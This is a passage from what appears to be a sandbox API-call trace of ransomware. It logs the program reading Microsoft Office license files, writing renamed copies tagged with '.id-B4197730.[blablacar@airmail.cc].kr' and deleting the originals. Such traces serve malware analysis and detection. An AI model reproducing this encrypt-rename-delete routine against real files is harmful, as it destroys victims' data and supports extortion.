returned 4 [0192.733] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.733] lstrlenW (lpString=".xls") returned 4 [0192.734] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString=".xlsx") returned 5 [0192.734] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.734] lstrlenW (lpString=".ppt") returned 4 [0192.734] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.734] lstrlenW (lpString=".zip") returned 4 [0192.734] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString=".rar") returned 4 [0192.734] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString=".bz2") returned 4 [0192.734] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString=".7z") returned 3 [0192.734] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.734] lstrlenW (lpString=".dbf") returned 4 [0192.734] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.734] lstrlenW (lpString=".1cd") returned 4 [0192.734] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0192.734] lstrlenW (lpString=".jpg") returned 4 [0192.734] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.735] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.735] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25 [0192.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.735] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20778) returned 1 [0192.735] CloseHandle (hObject=0x410) returned 1 [0192.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0192.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.736] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.736] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0192.738] GetLastError () returned 0x0 [0192.738] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x512a, lpOverlapped=0x0) returned 1 [0192.740] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5130, lpOverlapped=0x0) returned 1 [0192.742] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.742] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0192.742] SetEndOfFile (hFile=0x520) returned 1 [0192.742] CloseHandle (hObject=0x520) returned 1 [0192.742] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.742] SetEndOfFile (hFile=0x410) returned 1 [0192.748] CloseHandle (hObject=0x410) returned 1 [0192.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0192.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.750] lstrlenW (lpString=".doc") returned 4 [0192.750] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString=".docx") returned 5 [0192.750] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.750] lstrlenW (lpString=".pdf") returned 4 [0192.750] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString=".xls") returned 4 [0192.750] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString=".xlsx") returned 5 [0192.750] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.750] lstrlenW (lpString=".ppt") returned 4 [0192.750] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.750] lstrlenW (lpString=".zip") returned 4 [0192.750] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString=".rar") returned 4 [0192.750] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString=".bz2") returned 4 [0192.750] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.750] lstrlenW (lpString=".7z") returned 3 [0192.750] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.751] lstrlenW (lpString=".dbf") returned 4 [0192.751] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.751] lstrlenW (lpString=".1cd") returned 4 [0192.751] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.751] lstrlenW (lpString=".jpg") returned 4 [0192.751] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.751] lstrlenW (lpString=".doc") returned 4 [0192.751] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString=".docx") returned 5 [0192.751] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.751] lstrlenW (lpString=".pdf") returned 4 [0192.751] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString=".xls") returned 4 [0192.751] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString=".xlsx") returned 5 [0192.751] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.751] lstrlenW (lpString=".ppt") returned 4 [0192.751] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.751] lstrlenW (lpString=".zip") returned 4 [0192.751] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString=".rar") returned 4 [0192.751] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString=".bz2") returned 4 [0192.751] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.751] lstrlenW (lpString=".7z") returned 3 [0192.752] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.752] lstrlenW (lpString=".dbf") returned 4 [0192.752] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.752] lstrlenW (lpString=".1cd") returned 4 [0192.752] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0192.752] lstrlenW (lpString=".jpg") returned 4 [0192.752] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.752] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.752] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0192.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.753] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11579) returned 1 [0192.753] CloseHandle (hObject=0x410) returned 1 [0192.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0192.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.753] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.754] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0192.754] GetLastError () returned 0x0 [0192.754] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0192.757] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0192.926] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.926] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10c, lpOverlapped=0x0) returned 1 [0192.926] SetEndOfFile (hFile=0x520) returned 1 [0192.926] CloseHandle (hObject=0x520) returned 1 [0192.926] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.926] SetEndOfFile (hFile=0x410) returned 1 [0192.981] CloseHandle (hObject=0x410) returned 1 [0192.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0192.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.982] lstrlenW (lpString=".doc") returned 4 [0192.982] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.982] lstrlenW (lpString=".docx") returned 5 [0192.982] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.982] lstrlenW (lpString=".pdf") returned 4 [0192.982] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.982] lstrlenW (lpString=".xls") returned 4 [0192.982] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.982] lstrlenW (lpString=".xlsx") returned 5 [0192.982] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.982] lstrlenW (lpString=".ppt") returned 4 [0192.983] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.983] lstrlenW (lpString=".zip") returned 4 [0192.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString=".rar") returned 4 [0192.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString=".bz2") returned 4 [0192.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString=".7z") returned 3 [0192.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.983] lstrlenW (lpString=".dbf") returned 4 [0192.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.983] lstrlenW (lpString=".1cd") returned 4 [0192.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.983] lstrlenW (lpString=".jpg") returned 4 [0192.983] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.983] lstrlenW (lpString=".doc") returned 4 [0192.983] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString=".docx") returned 5 [0192.983] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.983] lstrlenW (lpString=".pdf") returned 4 [0192.983] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.983] lstrlenW (lpString=".xls") returned 4 [0192.983] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString=".xlsx") returned 5 [0192.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.984] lstrlenW (lpString=".ppt") returned 4 [0192.984] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.984] lstrlenW (lpString=".zip") returned 4 [0192.984] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString=".rar") returned 4 [0192.984] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString=".bz2") returned 4 [0192.984] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString=".7z") returned 3 [0192.984] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.984] lstrlenW (lpString=".dbf") returned 4 [0192.984] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.984] lstrlenW (lpString=".1cd") returned 4 [0192.984] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0192.984] lstrlenW (lpString=".jpg") returned 4 [0192.984] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.984] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.984] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22 [0192.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.985] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10623) returned 1 [0192.985] CloseHandle (hObject=0x410) returned 1 [0192.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0192.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.986] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.986] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.986] GetLastError () returned 0x0 [0192.986] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x297f, lpOverlapped=0x0) returned 1 [0192.988] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2980, lpOverlapped=0x0) returned 1 [0192.990] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.990] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x100, lpOverlapped=0x0) returned 1 [0192.990] SetEndOfFile (hFile=0x544) returned 1 [0192.990] CloseHandle (hObject=0x544) returned 1 [0192.990] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.990] SetEndOfFile (hFile=0x410) returned 1 [0193.004] CloseHandle (hObject=0x410) returned 1 [0193.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0193.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.005] lstrlenW (lpString=".doc") returned 4 [0193.005] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.005] lstrlenW (lpString=".docx") returned 5 [0193.005] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.005] lstrlenW (lpString=".pdf") returned 4 [0193.005] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.005] lstrlenW (lpString=".xls") returned 4 [0193.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.005] lstrlenW (lpString=".xlsx") returned 5 [0193.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.005] lstrlenW (lpString=".ppt") returned 4 [0193.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.006] lstrlenW (lpString=".zip") returned 4 [0193.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString=".rar") returned 4 [0193.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString=".bz2") returned 4 [0193.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString=".7z") returned 3 [0193.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.006] lstrlenW (lpString=".dbf") returned 4 [0193.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.006] lstrlenW (lpString=".1cd") returned 4 [0193.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.006] lstrlenW (lpString=".jpg") returned 4 [0193.006] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.006] lstrlenW (lpString=".doc") returned 4 [0193.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString=".docx") returned 5 [0193.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.006] lstrlenW (lpString=".pdf") returned 4 